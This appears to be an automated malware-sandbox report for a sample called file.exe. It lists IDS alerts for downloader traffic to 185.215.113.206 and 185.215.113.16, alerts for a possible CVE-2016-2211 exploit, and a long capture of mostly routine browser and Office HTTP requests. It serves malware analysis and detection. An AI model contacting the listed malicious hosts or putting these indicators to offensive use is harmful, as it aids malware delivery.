Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49750 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49898 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50089 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50122 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:49732
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:50064

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C76CC60 PR_Recv,

0_2_6C76CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=t9M19fKsf53L4Fs&MD=xUEBlNV6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731986185&P2=404&P3=2&P4=UXUCogUBNzreH92yfEduqJAiZUQBoug9t0wSNpzayTnS73qGFf93nH0k2jMHvNbBJJ9X8aNNRwZDl1D5iUWCUQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ux6K9eU5oMp5P9enBrCjzJSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731381388486&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0286CA52A44560A23542DF67A512618F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731381388485&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9b3abdd6251a4230bf51a1aefee3a88a&activityId=9b3abdd6251a4230bf51a1aefee3a88a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0286CA52A44560A23542DF67A512618F&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=307dccfd8dd9404ebcee7910940d63d6 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731381388486&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0286CA52A44560A23542DF67A512618F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1520df91e020afd6716591c1731381390; XID=1520df91e020afd6716591c1731381390
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
